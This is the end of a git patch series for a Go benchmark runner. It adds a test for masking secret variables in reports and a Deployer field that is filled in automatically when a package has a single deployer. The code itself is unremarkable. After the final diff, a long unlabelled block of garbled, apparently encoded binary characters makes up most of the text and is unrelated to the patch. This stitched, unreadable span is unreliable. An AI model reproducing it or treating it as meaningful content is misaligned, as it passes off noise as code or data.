+ "testing" + + "github.com/stretchr/testify/assert" +) + +func TestMaskSecretVars(t *testing.T) { + t.Parallel() + + testCases := []struct { + name string + vars map[string]interface{} + secretNames map[string]bool + expected map[string]interface{} + }{ + { + name: "masks secret vars and preserves non-secret vars", + vars: map[string]interface{}{ + "api_key": "super-secret-value", + "host": "localhost", + "retries": 3, + "tls": true, + "namespace": "default", + }, + secretNames: map[string]bool{ + "api_key": true, + }, + expected: map[string]interface{}{ + "api_key": "xxxx", + "host": "localhost", + "retries": 3, + "tls": true, + "namespace": "default", + }, + }, + { + name: "returns vars unchanged when there are no secret names", + vars: map[string]interface{}{ + "host": "localhost", + }, + secretNames: map[string]bool{}, + expected: map[string]interface{}{ + "host": "localhost", + }, + }, + { + name: "returns empty vars map when vars are empty", + vars: map[string]interface{}{}, + secretNames: map[string]bool{ + "api_key": true, + }, + expected: map[string]interface{}{}, + }, + } + + for _, tc := range testCases { + tc := tc + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + original := make(map[string]interface{}, len(tc.vars)) + for k, v := range tc.vars { + original[k] = v + } + + actual := maskSecretVars(tc.vars, tc.secretNames) + + assert.Equal(t, tc.expected, actual) + assert.Equal(t, original, tc.vars) + }) + } +} From 62103014ee3310e018e3228fc526f2ecd1af247d Mon Sep 17 00:00:00 2001 From: kcreddy Date: Thu, 26 Mar 2026 16:44:48 +0530 Subject: [PATCH 18/19] Address review comments --- internal/benchrunner/runners/system/report.go | 3 +++ internal/benchrunner/runners/system/scenario_test.go | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/internal/benchrunner/runners/system/report.go b/internal/benchrunner/runners/system/report.go index 6dadda13ba..b86b323c24 100644 --- a/internal/benchrunner/runners/system/report.go +++ b/internal/benchrunner/runners/system/report.go @@ -32,6 +32,7 @@ type report struct { } Parameters struct { PackageVersion string + Deployer string Input string Vars map[string]interface{} DataStream dataStream @@ -75,6 +76,7 @@ func newReport(benchName, corporaFile string, s *scenario, sum *metricsSummary, report.Info.Duration = time.Duration(sum.CollectionEndTs-sum.CollectionStartTs) * time.Second report.Info.GeneratedCorporaFile = corporaFile report.Parameters.PackageVersion = s.Version + report.Parameters.Deployer = s.Deployer report.Parameters.Input = s.Input report.Parameters.Vars = maskSecretVars(s.Vars, secretVarNames) report.Parameters.DataStream = dataStream{ @@ -118,6 +120,7 @@ func reportHumanFormat(r *report) []byte { pkvs := []interface{}{ "package version", r.Parameters.PackageVersion, + "deployer", r.Parameters.Deployer, "input", r.Parameters.Input, } diff --git a/internal/benchrunner/runners/system/scenario_test.go b/internal/benchrunner/runners/system/scenario_test.go index 9802cb3792..a578d1ee41 100644 --- a/internal/benchrunner/runners/system/scenario_test.go +++ b/internal/benchrunner/runners/system/scenario_test.go @@ -45,9 +45,9 @@ func TestReadConfig_DeployerValidation(t *testing.T) { }, } - t.Parallel() for _, tc := range testCases { t.Run(tc.testName, func(t *testing.T) { + t.Parallel() scenario, err := readRawConfig("testdata", tc.scenarioName) if tc.errContains != "" { From cab532be0a40e2da5e5bd53d0303b7f523b15eac Mon Sep 17 00:00:00 2001 From: kcreddy Date: Thu, 26 Mar 2026 17:29:17 +0530 Subject: [PATCH 19/19] Populate deployer field in report when not explicitly set in config Resolves empty deployer field in benchmark reports for packages with a single deployer that don't explicitly specify it in the scenario config. --- internal/benchrunner/runners/system/runner.go | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/internal/benchrunner/runners/system/runner.go b/internal/benchrunner/runners/system/runner.go index 2d97ddb594..56e4a6091d 100644 --- a/internal/benchrunner/runners/system/runner.go +++ b/internal/benchrunner/runners/system/runner.go @@ -188,6 +188,15 @@ func (r *runner) setUp(ctx context.Context) error { } r.scenario = scenario + // If no deployer was explicitly set in the config but a service was used, + // resolve the actual deployer name (the only one present in the deploy dir). + if serviceName != "" && r.scenario.Deployer == "" { + devDeployDir := filepath.Clean(filepath.Join(r.options.PackageRoot, r.options.BenchPath, "deploy")) + if deployers, err := servicedeployer.FindAllServiceDeployers(devDeployDir); err == nil && len(deployers) == 1 { + r.scenario.Deployer = deployers[0] + } + } + if r.scenario.Corpora.Generator != nil { var err error r.generator, err = r.initializeGenerator(ctx)

ehe;@K}Aaw@Oa1)6>%NtDWyuUUF)iB83Sioc5-3 zy(yO00sxp-rGUv$^0rp^n9IMzvJEof@kYWXkK1zjYj4qvnKe62dd@eE6vo~Oy}pZ= z=nQAgcL)3dVh7nz=1Z+9kT;}ZxaV2Z&hV{9L`kcj`|iBfnUe&XuSakg{ot$E{Rd%= zB4<5COl?&b<#-Y;?t4hB4-VXflq8_Z5SBaHUvbbD^rZVX91iir-ys2%E1=}_IP~@L z-=U8bfgtxH*55$mZl0|>Gs_fk(w|drb%UJnJlUJ>eV51=aJf68HO$=w3jS#83~wru zyMW<-2fjoc`(CI5R1&e=7^cP<;`PC?3R#}3cXPCx9O9;*2<-d;SyA|}5R)7Y;!?gK z7xR^t)UzkQ>wxhaWZYo;03XH7SM#6jWpqjiK_^jcLoX7LGva z=+C1G=Ycb+y2n*?IWonDh~aRV==Y;HhliKyV+I zh8O$+x5gS?u_Um2{_QDIx^wScSVv)aX^D)Onsh=ci`}5bs?XW^2J{=>ks`I-NAk4q zWPPZ)x+%9i5@mb_RMV4gNQB(s$lOlI+ipLC}33k(N9W z!*%&X{gMw|lxMF2sAua_O_(B7^3<9(x^h41t$&j1i$zc|6$f`Kg-G!Klkn%QAmU}l zjB8S^<@7nh8?5AK65@GkiwFso5f2f)`pH=PY4rBwijtFSadYnc8yj4W!j#=C%hdy~ z=2~m{;Uu5g&+Z@E3(i^^oseQ6eHQR+{ldcRom8A zX*3s#wDMP>PV@6rl<6`J`0_i~upTveerk9BQ@((&YxtXE*#Q1M6^VpK<&q&^=9X~3 z?`G+GDQczZtzAco_+)oBmfAV_3(T(KX!0XlSuQLdm>L#oV%TOYglTWmRSpnUiM!{-tPy< z0@#&6>mI!&kX^X|rK^+&vT7Z(cjrz2Vga}{D93o2Ar012Zbmq7r{o@3g(7n=O>B2* zbb0pFz}?vDdzJw(3E$$o)G`NJx3@%S!X_WaFW4c!{hZ8ww0`NVcs#|ewtKW!%Lkhg z1(yaE`>64JR`h;sUWy6s2PX&)+5QDSvJQ%GUxccEa{}ytE5OlRSiG@h6-6HW$a0mj z_(G3&`ZIT9wp4+8BUk+silR#eT8S9etbF#G{Ldp~9_l?iU1I;Xh-4=GdWX|D?u@65&8{w!fpHRG_Ch>!aAyeskT-!{S2HRa)VL&PR z{4|p9`1+UKb26i`5!*LBHiiA|rKML(D|QpTd^90J6b`+tc!Y9GL)v!VCuEr>2g&d+ znFY}7BqG^#Y~JMfHHGABM{|~ySds{&%#g${>yc&+J7m@ADAn=txln+J9TVG)N3 zvLkRdC_yr6c5RmWhW`e=!5={fkt($TJ7YK3mVxZ?_@E>;qBi|QRkaC-*ogtkS3=JR z)X0xize%30+~wyw5niP`eZsH)6zufjtT=4`*a?A1hoNt?Q%!Kz4zeuD{HPoYhhvGIpIAN z{KSILbY9-7&PKJ*pnpzqA(zIWdZFRcu;uQhw?%09ctk_LftZ;D>X6<1%}s0hg;V@XqYrXuwAbPBGa4aY>31#3gpt5gfsY(P9cRs4 zUdX-4Xc=*Aa;`2s57fF$OJ}j)0_C*igW^6bMUNL7IWn5<2GcLzak%V#v`!Ms0742( zX21!`>C**jOu<@S^kjceX7Wmi{qv3Tw$jOXrKY|G*8T($gT=)m|=dbl%^5K++3jMY&G7vDoof@R# zLaov6r?Zx>!q8IjxWOnu``74;p5Yg$r?#Nmla+>e^xU!Bec8i&8w0h-7~k&R`}-^7 z>3*Sv$x!zEDOK+Bo6WB>VuZp-xM+59#ig#FnQ20$Bc~2tc>n=w{{l%j_S8d$sC{v% z0J;oGLBb5B@sZ*fnmDW*5wh()+WT-~?STayDqXq8`tk8Eu~grpr}8G|CD;VNe$cEi zr7l3C%>~@&<+vOK;PaYJ+!so9FRrny-(SQ~{gS)BG%I(pRb|tIPGHN5zn9zok{eZ3 zS3Y{v)Gzu|)Uq;SN>P4K2<9x#vrtP)1>^oD-wbn4& zw#RsjF3pxkJ;`mtRQ|+nQFppHxpy&6O8Mc$A@;FJe&%0`OvI$P(Tqive|jV{Sqx8< ziG?W--t$AhE5x8S_>~pg_h~t~2_VOMeqSEEk%vaQW=Q$2^j4+7-(4?Ey-=%etr{YiLIlEfP`=D zE8B1RRa5$tqdh6rCS;8R3fTo65Zg7ZNa;0^D)cgt zKS?C+0-eL?7mJkCttC&9Gh&?wo^l<|cScc5+uFYn4&?N<&}e}`dD;NvBdFWd?uq)W z|0*94IvH-T=D%BbxSt;^{SOui4`aU47$eRua{x0K${%of%2PjPe@0kDXk#VZyUhLB2-YL&G$3t?~m|K1MGofI-MiIOH|(QgLYsWU(59I zezcxW?_7u5#|+b4Ig0`ltiBGGdbrf2h{#z-qO|a( zsHZ#MqBN{Aeo2e%GozBZsX)js+$8FPj@1@+zVU8bGWC-R{`O8(xRydQS;sp4r~ z{N#@uPM5uj;V2L-WZ#=oxZD?KE|?R`BhJo59q~#v?~bI{2wDeWYOWg){t2>*|6zfOD1;SlC zuM}pBE`J^tTb#|jGD(@rpK%@W*$DLF{GPplW`>i|xte*xId z#N&xl_&M#|u8ixXK5T%cmGn7i?0S{IF!<^Ew8wp1X!Ckh!;^^VhIwg^L=)uoYL$b^ z+#gWk7?__jo~djo<7x>>`a)UNpAG1KkCX~?sig?TBL80NV?D~n|q4-a=8`PSxewlM3FLwh_f zKCrw?Y%%oOXQ1Oe`N4~-G&i5L6q%k8Oi*S@oq5+THOF{zs@Cet$n0jNT^5DQ#t`XOst9ww#kbp6`P&MIz|=_?TXl?G;qv^_;liM!gL1O~=M8M003%vc(Z88xK} zDx-;q(N>-uj2}+s>R4I*>ch3X?%L?;yZ0)1Q}a0XV#4SYRVM8#_I0=S2>1}M6jNqR zdC;h^n=1&*-QDm!_a0AFz-(V3pV{M;B=v~V@!CA%cV$yX`ik3=+gqM321c66G7LEq z<9bh{m+T*?KxRE^<|Rf*tJ+{LSO2LzeX7iEOj6ZuWfNrC$~6< z!vN$8V_EWi@jPE!h1D#S?ly|r5oI8df&VQdPAO9zl1~Lsq$XD)~3Rd+~IEBN>MWXW0m4>d(xuX|N zU$dBAL!rXXPt$UTtAX#M@Pznsnfj52X(r`Wc+g-dmf&;QNGrZ=2-dO)X{NJc4;9*q zCs6oeGqegdIat(R!_08ze4XZ*eG5{gR{Lda0+jvPvTl3BQW6O-xhNG2yk5(nGKCRc z(=?>-R@>fCLV~#(9sQN&q#6S?kt1rIPMFT99BieYq8`=TbkIXG7+-Hs7Js!At8aI! zKd&Hv;7c&wlp9eNb2k@zm#^Bc<<6Dj=V9X_w_RB{-SH__jx-(Mk#B^(x{o*7!>6*l zL(P?~@WR*SH9DfU1w;^Bx=MEW-!v#77<`ml<=V&hIUJO8NSo7i z#%3~`X@7oLyKo)$V$s^0Bp(zyLciI=DC1HpKNY`cJ64jqQ_u1dt2^7;9R0|~mNb-# zk^+vV2jaGgG2Ceuh)?M+xiXy--AX%XcmdPzCJ^GbRhquU1RQcDTqppNK8MF#fy}c zI_W$y@1a64%9Q$e>kP?cHa(teno}`eXnE)>73X*i@uogc_5b%N)zS`n? zDSA<9FldEe#AG(7HGc*E~8l zU)_Rm>qtkz|A8Ce&&)*6Ecu|%BiH@&_1n9Trk2aiLBF$GeTz&g^TZ;!_=(G&=U+IN zngHxd8I``A*pfg%_~r?pWwy7td)kQvXGy;YjSAZD794k3JY6-S0#0qqh)75?7v#j? z`O+C1B@Ft~Nb7;KB7oSuWhQN`oa!1-yR`XXxW-+c4FnqC7cr-LzzUx3wQG+&EShW* zN}$1KyY%%S0AxQrrI??*Kwo45cuYQYUf`nV=jlmhay;+)(`^{2%E1j(3vHyZGPp#AsCVk)$j&T*$$p3D-q14s_j!%)JspF zKFKew%?VwAO03O2Ws1G$cz#@>#N)!~stGvIrU)9hLy0*Yn{-7!@m{Pk^%-3Gxh%Hh zh_@3Rxajk0LAr(hPr@`Z4rGCW$M0qE7IDE!!7&|7c|UUg_N3{;UrXzDEPBk|ew%Q< z%819s#c}HrbDQkhc1rPg8XxNZMqnuZJGsW0bHB}f5i8+iNc%!nngL4RD6ycwo>64({EpNmh)4E#e?j=b@yKFp-(icpvTha zkzdQUd;%n3NXgvU2-TrN|n;KrT?u@D=prk-=Ne}Qg1)d-nks3fRrYBq2` zAd|hX#6BWLA>2O@eZdM2D2!Qq>T|Nqmc@~rXacC$=-{NsTyoU7FgQ`A@(p0gx$%eh zihZQl*ltdt(_>COn(I-syk)^fl;Edjb2c7*7nT}z0Rwag)9%9;VmF2`mBeRg_%EO# zlEH$N+2+$Jmvz10x2~6ITnnbec<6s6agE6~9$?O8FVL@w`ue!nTUziWhwmFGp~^CN z&42q5yZz|(9{mXk&*vm0t{xvYEGP)`L7Nnx)XwZQ*lf-+@tqh&45C4EgY6U299N^e@Qwq7srD>qaQ;g8%KDeu9DYB7czpudt zI&y8>%>$Xzj#9Nc>wxT%l!nTjDgafKY3KE6`ml=BIwmz+|MQf$B73`NfQaYojuQAN z0Jq|Q1h5RREl;VE0rbeS(`KTdKVw)al|G~)qeiw!I&hW}jYQnHt==)!*N->JQq-PM zfF*X@4VvZ@X?I!BYPEJ!wC;)3go{-l-SDcDkeBtI`>wR z$1II13|#NLcNc71PB4Ir?lDjr;QYr4`Q#0#rI?^>Z)d4$0`V1~#T5ss#y)X! zxEM%GHxQ(Y_aZh5SF~bkboX(wE(b?G$%5SCd^Bw$RW}3ybSp&8Zk)n-t5N*%es4kBCif@ikeN5b=j$W@7{Kbl36(F^XX_4wmV5xgm8+Hqvl~r%m`rip z?=3LOXy7r3MegJC5eo>ay8vw>wvP#uvr)f_+N8Dv7aNF^v1O?lY)c0Ei49%v2=vJ& zfvOGfjp;YG#Y6-)RFj<$vHtvkn|^yJe|G}yZnBdxrN?My~L z#WI`C{+Qa3oyDfau5_Ivm@d+Ykw2hdGFT9Gq5-9&Bbz9Y1s~GF+q0Vo;JiNmxLzd|r44xX<>8bw;k}v<3TXSQdQ7dh5LUCfR8Aexr zFUs?8$O)L8ep)cdQsI-Tbe0+JTw|F^k^v7=&a!W!*n+F-8)Ooi)o4-Yt@qfA9&%eR-&t~KdPU#Sn zn-vy!YXw^ekYwLh5kEPOwF{HR!RHbe_+GnIe~a-9U+h)VrQMM)b}jk^QSr%0 z1?E|mqsLE4!(0&oG%K*6;s6-i43@;?|3I{XAx{VH?mVX8@_%^+>c3xI{pg#Qa1;F2 zl9V97CS0sDW7G3H)2ROlv{&@m4zA>#6X@P)ae=B=%`sKgBgBznED4?KYdr6y80vI` z^EKCiVR7bkIgoFjyQ&uaf5UONBANsP%F9nNx-Mi*SmH zM$cc*FtKt%OsAQdjG+q-XMLsHSs`2&1ZWwkv}Ha2V}CZ-6@06;I^jmsiZ}(~_`9}tO|Cp&#YXug z_G`O6b#ZsAD|IzS6DQwX_w9LWT8;CG^LO_Vek>Wy4|HNe&5(xKV#|tVXl&&{(|cs{ z(HS>o*Hv^6v&1|TKqyVf;Q;H6@SPf5Wy|ND9kGXeJ{#@M*Rl{s7^(RVa5NG_dEGt4 zmgqtzOy874wXh?q*+B!J2MCb{7pW21=% z-e5F}Fz(6?lRP~DjR|HRlcAPBye6O)%u5Q)AOn{Fvq0ZD{=t3atIWX#Tiy4AdLLu$ z=8V-T1=1Qat1H29a=H5d&9C%4UV&BqHuDH|o}i*H!zT+N7~A2TZp~|*ZZ(R=VDV)n z#s0|Qh#A>1DZVO6KHktYFR_qqOph&#+!w*8DzpD*!Tp;j{Ag5?0L5Or^WD{QKJNEX z&7(S&TIDm%HPvuy`<-SiDqJochS4UyeKT)k70`NXeY!jd4dFfMSv|4465cyLg!q<7 zXU(w$|LhP3E9*7W;iY%r5qJh(_D{{?pL;)Q3nOqsg>}^LhVyO`4X4!N%i^zghts+k zLB%|gX6>Y)8ZU6dvfx2$OOQbeTBwHhJfV%-7+Wr{qK3zhAqx;6VL^oqihg*qq_!4543Y=5ZN~p6DdYAFK4C@?6u!a+^Y53ir z(r(pAh4bFz?W?mWv6j3X3|6w5h4_PZeJP1!uyRJm7+VS{AT8IuN(Hq7SPR+OKb2X1Cswy{{1&9cC$$8xx;V^cFdY51xffG~*G5k~d%w zKkG&;mb5CK?nKynY6zF_L1jmA^0bw8R<=b?oQFLqb21*Os_b?=xi*n<^D}cJHVyLn=cq8DOr)&SUtZi`ju_6jqog_ITuG}Zd2}U!|6>Mn!NLZ!9o z7#EV97Zgs$3+!E{7ZLoI0;cVzu3FjOe}eq=pV%L~6iB93irL>w{of>TppZunr=W=v z>GZ+kYm!5A&h$&qmv4wvTirpo6lprJBu4|VAS5-zey-}#D?Rp5_5R9_@7N2$zn_*C z$OwN4A=`+38gk+`t1;hqBu1&9W;R-f`e1rsjF4jFTQ@t_E2Dx~FtyjCeGxd3NJg|o zhF^Wh@v^S#hI1TlJ!VkK{4HzNffXsuf5eh;gq;?ful%mh2s*9GZzLM+d$-w2-llNv zxbhye5oC1Ms<(2D{xI=WVh@a)DfVO^bw`mbPP=aGW{W-EkReqk$s6st;*-ed#2Dsg zZ<-7ez0Ji37=>clD*nDNcd2)Wdput*Nik@wej zlR>lqNj<2=cUZAyCpmdU0ku5yvkcGZioP$7ocm%33RTnVcDLa8_s9S1YrDgJDVWLU zE|>ggMgRx3VZd@(3#bEWKevaDQA&Q!$4~tcUrs1ICc3sI{|2V$uBqwQ?!5*^JJPpF zr^zOcWk&lx+!?%2*Y@rK24^p>3e*JmLUFI~tH&PZFrpQR-DC5RGP4VW;a89bD+ErP zY01&s3zg5beN+!5W;d3*87FV`;@l)2w$P3}#J9 z4zDF3ntvgM<(;C{?#b@!S?8EX9Rls3}d2j4#{9>l!)7ipP%;yq`wM!&7o_Zg=Vu`BJ2;^k1 z^ce3ukBl%76@K-0_ZfE1_)KQ(l(o}{JKq<&mp#Xglqv_iRgN6zi7e4t*HSZ?lp6*s z3P&dzr68?<3wJ}XWFzsL7pu{@Gn-Z47N@m40l}R+Z2xl>(j^&ENUZ7jfu%vIKUW$U z@I`XhNh^Z>U3@A!y1e?qt zLz4FX_Rvdn0SOj5WNL?;jNMPzK z6;*Pr<)-v38QL?58+bW$=oYx$GY=c}03WYXb9drwG=3#9v_~=xnb`FKYtSt{r&@P* z2bgf^OTRp|VED%}Itu6Shq=CkUJv6>@4}EX@SIInPQWC-kQaO-x_L0aV_h=%7T8o> z$UHq#CzRZ}+hoI_1f!8DzWTnVVJT^AQKh&9*S!k-tY*ZBsqA+9S#jXC<$aCpP_OR% z@pfu)Srro{*DkBW@k$6!SEm)_J>2(hvJax)#md`Ir!jVal>BPrn-#lr6B9OKKB8*| zITw5z+zv<(0!Go`qO4N-k5SC!^Ww8GsTVgV{?FRA$Gjt-;j@?yu7F8J4Yzw=!YpJz zhjVVRisR@jy!EoLPLvMeC!(n1KCXGpis~y~Hwl`b=VUp{2w^-#lu!J6%v_>cfyyB* z_~B5MUHc%s-O^A;*Op=-1^eSk`4Xr`^OaVz@`@!wZ}m*cBK6@Fy=Cc-k(AkzZo;Oq zb#*(iXaeQVt%Ct&#tM^gE>qj`$!QBA3%bSUpTG=lxi{|)fN3;@ZGw`V$gO2CWi|JtC!K-F^=u+TuCCMp>UodhN{Ge)A3OCv7Y%T zX&zz#+F~QpR6>Klc`iS(mt5J;@5vmLbbeu)KQIw1m3wLJ#Jj9i*GvfKSrL z2E5E;=CXlHNJTcYwDZ=n#ZZgVWekF84D)7bI?yA>_4LKE3g;)q2-kPmc#}K)c%GsB z;hHi&i|=*E?qifDcts0)iJwjFA8>v5Vk6tPkW4K<{rs?{BMe)Uo{;tT9{AVp$b0a< zU{f0&9X*Dh0|mn!ai&<&$Im(3J>t@BtmiX}?92oP^G+$;OY@KJcgt;K7cK|xrt>!c zGp;hV5O|b}?aRZ}<5EJsJzX8EP_wg;Cs}Zb%c7p=zsQr%_lu3!chsj%*k7GNKc7wB zZoa${>Q-Ilysx?Nr0!~VAH`ysAgp9E-i>;{uQAA3ZZj-Qr5fvXO9+*%Q(NJAO5Z4w zf8BS#qEX@WQp`5mRnwAK2OLDef+8gQpph^p9@4Q(h`A+v6oER=s#Z7V5#lugWV=>W zc?)vYWZ?G~4WGj@ZxuXTn|B+1A>+VDpIwI6DBV+AU-0i+U7@(z?qM??2Tb=$wiek# z30cua2=_6j{Tq?GD&uIo$dminVv`WM>eUBcrxDTl#wwkv@ zl^%*b|K{)roZqJE zR%u~*c1X;7t0UIk7fXWM0q&ac1)s%C*nKuO2=1Iboxv}T${REvStNU&sv-o`FmAUc zuJM|X&OOnuURR)QLB3}s2E2Lv!e?pp3>_hK=tl@*2@!Q5doFzU!N_&bh~ovI1)1l#ut+ ze{WV)jTF5S`(eVXr5kD-YTC&!*l%W(jm?#)Ga0W~8BntUExn#Xtdmn!ifxE+z&8Y$*hJe0X?ir1Tb91O9V9qM}D~PIo7A@Tyo-fa`wPLV=7+LW|Quk zu|AvbT(6tF&>1qVb8P4}&kW%!9w`0NTZK-nB*Ev(fBhl7WW@H~Ovr+7wZV7M?l^-J zq8u_eXD9JZ+xSG?b79`Ovo4Ni-0ZOq6sr~v6Og8_c6^jdTo?A2A-effD8n@cP zR!Q7;G5+(#thj|teijdom{*$C6VsUc5}oQ4Zc|%Nw~4Fwak1;~MSR_a3Zw3ZO|Z4A zH$zU_^{^B}O~C*b!BOCTk3z01%bQf8C-Og+6js3IJXhhwuY9u>3{^kIenrq( z@|(>Yls<>7F}>g7o)0W2i2$b}avha=)5qehEGHdx*8qvHaowu2Top8e{Z)yS#!cHc zW@8aH*ZPblU}mIoO;}d&ZDb;MqzBG4SL~F%`L;Z1-V@PlEoJ^q=nPDebN8mMgbQS9 z&AL4l6XUIv%k*1DH2<&TE#xnHTKw_#)NX4@enFyyI`ihz59}jfU^-LB|Zz$42&yN?Bc}4dX|VM1~wa zI+j63UdIeJ%C&AgWFWAnaR$@0IsO>+P)RSo(ux)9+l2oG3Njz+cn^R`!6nAyGpHys zh&TuI{Co9uY^TWZpK1eN14xc37dz?KP9%R07p3NO?F|feP206kVuV9#D%XvPON;SF zHyZ0?++Y!Cr!A^CAN?dF0pEeY9KKaK7zj*|N?z!!(A8lna+(uS%m{9NTi{`KB!6+_ z&M7c7O|R=))=Fy$G0k|i9l27OAM4IR7Hf+`=pPG5%1C>#EnM2exUoJsIQUgPy;CIQ zj`o%c<_vgXmxccXIe&*g9>9wp_N6K1{%7^S;Ca)dPU9evsmYl_zVpexG>{hF}_E*?acKRms(WV?(nq`j&R@wPlKn-;L$)CShvJsO?(P zaeVz_cg+NThj`ulOXUx@g@m*{v$ngynaCF{kSDZf?Zj_uodtE>LWWvTkDS*V4FkAN z=Xx{Ve@+buWF_ztm$H96!54?$j{YmeueaY<4pj#}Toez;G53Ebd9D6_@vwBvygyzX z1vm@JhIk&~uN`bW0>oGKrT(hukEeU5Ei+{FU!W+{J`W5j&J%k3t2}V@iw$rA;a8Af zPk)@^f)0!Ui;HIBf3v2Y_xJSb57TD&YkKkW0ON48HChY|@_#4tQD^)&RJ@>izyO*Z zOM^T~14rBYf8X{2y#4g|ZU1@k{onI*b>CU%fBP>lC^#x`)&~}!k-vZQ|Kj5C0*~wl z_2)F#_&v>eK#zHTj~4Oo+ioL+H2uEqKljRH0nTyB+4K9u_#g-ZXL&EfF#G=XJlDjT z<(ap)C!bQeFoWmo0b)=TsFD)qbm?- z4iy6fRGxuh+RjlxVH&cV>=Q3(lMP{d4cGd%0?C-sHd%UfbT9+ao)r-@(ypOlkt85t z@S~xDO+rGVdhO#}L})Odu`%oEatr*}VvS5+ANtN<+>mv8H5tw6N2v_9ke@&G6-p0( z_#+->>Gr@CWh_K=cQ3(kyF(?=X!%J#TpG)?(WtAZeru}IYWhV+LcxYjM6?%MTo?rF z=GOe-rLMYq_>N&aS!V;a;CLT~g#~kF>^PvBhkJw6$9HV~@do#|ECbNpJz_9!C!N!@ zE!A;n@Y|0cKQ@K=!SLW%rMa8xEvCn$q5g0(gJ~m^lY^`FI;ZbP`j+5#236j(hcj$v zGPAKkZfxwK+7e;hovsM{?lsxh2akjlXNRMdpO;6(x!H_^Ie4e4to#lZhcLryKM~$^ znCh*npPAYHd>u49n-=KyauoSi&Sq{t*wx~nf}^$fnwB+gZ7XN9dq!M=IpZEp*H~4> zKt*K}9$Yb2iqh3kiT^}nWyQ!^L|{`8<{i9x5~(=FFwhU3)Kw@hP$ zZ%E(2&rFQ0A#1LtQx<6a(k_G(1tb>2FK1`jNE`IEzX1Jb0Ei#T$x>a%>CXt?r4g8j9&I=Dhw~1goeR|5aREKFcvf zb7f=ao0^8mX`#f|@AvKuWm*vdH8o79%LA_IZdTTd_f8ph9ytFqS5B2+^tUnAYsodZ zz(T;*)50n3b@gkpG797?t)?K|1#>uAjfkwuiab|&)HX5k16q1^l;_YM&Xj{60e#pZ zTihPtFg)Av!f=^*^TS(BL)GVrJeF$DI(sG6fWC_i*QYa*l3=Fc*VlF>>NOaB(og^l zP%%t0xAf9p1RC1z<_to5Y|(UBb2=*03f+eT>En8?tsxXNm37+(!- z$X@tXNdU|>aztw|l;)`a>FDiWsRb`o*jPIm*N4k*RLa%wST@nevsKV*q7{8+063c7 z+N-ZAz2S8M>S5^<$r`Od_XBzJ>!Q;Ql;SN*4L}?9U%0~1eIC-2sVhTnO{K?&g{>QJ z)1sYUT->hrZ7eB>3(8t!vFPXxQ=3>QZ-H|#m^lkibB%Q3fTjI^*n7*Us-m{AeZ*)J-=?w=_x#N{5@yO*cqNx;I_Y(z!tpcqe)r&+|UxJ?GmQ z?pHRlz->pvSFYUcCBRP51TP2^q@Bv$XrhOfw zq3<&8Ikv|S*E5Zf_gMd`SbV8BAi%IYmKsw| zl9v-Gd95VOB(24Ch~ev>oYW4&L-Ul<{x3(5?xA2V(r(b_5`tA5?!irw z!8jT*f~Ff1ccUZ@nYFy}uB zk|$$b32e-K#qD<3G!Ea;%5Owr4H`>cgBep*yM2NoULic{1Yi@4smo!M*s!;~gUy!| z@F+8wE9Q0F6Ha)#WG6bK8UhNfDEC%}iHKQL@9hD(#OG}zjPh9NuN+K6DFv~nbPxy+ z-$oykaKS zHIn&V?k0yf5C+h&LSK*eH*}tT&;TRK7ew-W(Y zSfgI6U7B&5#WjA2{({6)*0zQpLZGyqwCO{pL3U@?yP@C&kAUEfvn7)2>eXd!F#EB< z!hVPw9-J?WWHn+kSP0J1?e2vAk!lM@DIu9 zGuxhonhSF}6k%X*5!jUrCBY5@X*AX%oD_u$RD}$x49}8sBsx4B(7{Isv$r@S)sN=- zBAqG%u3hgh2p0C3y;+|ma)qd^;kC&#%3QM_wYGTZHDRxy!f=%+=^bwDBzo3Z2o|9p z6s{Rs^+mX6dfO>|?yU z3+pGz9-976Q!W^YQvbZ~`_IM-8N!}En;9=hXp*xKshUdk&X&rkpn}7}PKViq7PgrA z(^r{xCu&`YSigHz9sT$ih~G(oOyajA;WF)O?|9QPkn@;pzivf@S|CUE-Qn?ZDj;SK zS4XhjxZH0g(GXpocFac%gC^)moRszmR|341VWnXuTpt&N7QHIPR~UIP531 zCsLp~n$b4d<|hOc6y8m~N2!v5jyWaaR0%0OUl*U%9{#w8%+ru`*KYgRkcZt|JjeK8 zWz=+LZe8PrGc(XvPv$2rU}q=etZaDoUHOtOc}-XFq&LPJD_GD>B5IlcVw|&SAwE;o~#5yOh4w zQj&}cac7iIgrbg(l%6SZtUZ9Ug(%=3KlDY8UCY20`GUyZvP&8QSrly+~I z*F+OW-Bv)S!;nQuIE12!doj$#g0tUJ$F}x%Vsa172i2IJsqUu~CcJ**dB!N7|5VoB zKQYk3#jLWL&+Gselj3+3>T)>j7uR2@Bq`)UCCp zG?^@T-4}(3!$Gg8Izse#MU~uYL)02`A-_9S-1n6W^Qch+-Y0Ar{fG|Y6?JnnU4MlF zzWJ%)`-FZ2=5%-?BV`J3mhS?CNek+$GD&zwv`{Li+PFI@O=boJj)pfyR>0{kaZX>Jv@nThp(U_x*;v%|sPx>{Bl^?&0Pgr~zeC>Yy znZEy6x>@sK+{}um_Il!R!-0s(aXor&(EO#-#=V*eV8hPt!tU%FQ&qXL4cc{%+Up7o#_}1h&m%TYbMlJ)N=lCOHfsHy z_jL^s#>ptZg@L)lAKirn{e`3fc+~K*RQ}*EQi(JsNq+;=z1!AvQbLO!HBaj7d5sh= zcpPqPc$`tUZbZJ4kOc3s1pWzK9AM{;u7nM~0ciWXCE+xZ?N5^E+qYLJad$6{XNw3?tP5W7%2e_v9k0HKV!}f5}&q+>TnvUKL{eZDsT0;%z|f=I)Y^U4zN} zaNP0v>5l0=xkOKn?D9jICM$fB;}H5NOD;zqnig)i)V#HTBqt;0qgo$B1ejkHHA6eW zjI-S27rL&)2Bn(Ywzi%ibC=TD>R6K5GGAjH?L%3_GpWWl&UCk#y$cr48PG9=MLx9B zMAT?umF78TcYP=2ehF#5Up*(m{?Is$ftVN#a4j?3F?8z>ItC2iaXEQwUS!Gj;%1TK zPId($9uPM2t@7tjaz&G)%6~98-o1UgFuWh>?kpYVM)54+p{muET#&x@n5PIQ&Z_6Q zpUTHxxEBP<(d`!pf;kuTD)T)!v91O`6%i4x=@JY^DAzm-t|@-$CDU^@SFg_b#HV@g z+!iF}7G3FTg_hO@P`qLr(qiLPd4yA8G~XK!qiMlPJ`1p&+t=j3k+wT_2d=NUctftu z*z(dPNdLX#ye<;5Oq<8~c|I}32<@7~roO^D3Q-cr4C31zc z8n^|;6}G5CGQJcVph$EbF}*o)d21D^^9(&YHU{$r@>=*!O{r;U|Mo+__plEluz72+ zb}3&j1PT&sn{>=vWOnZJ 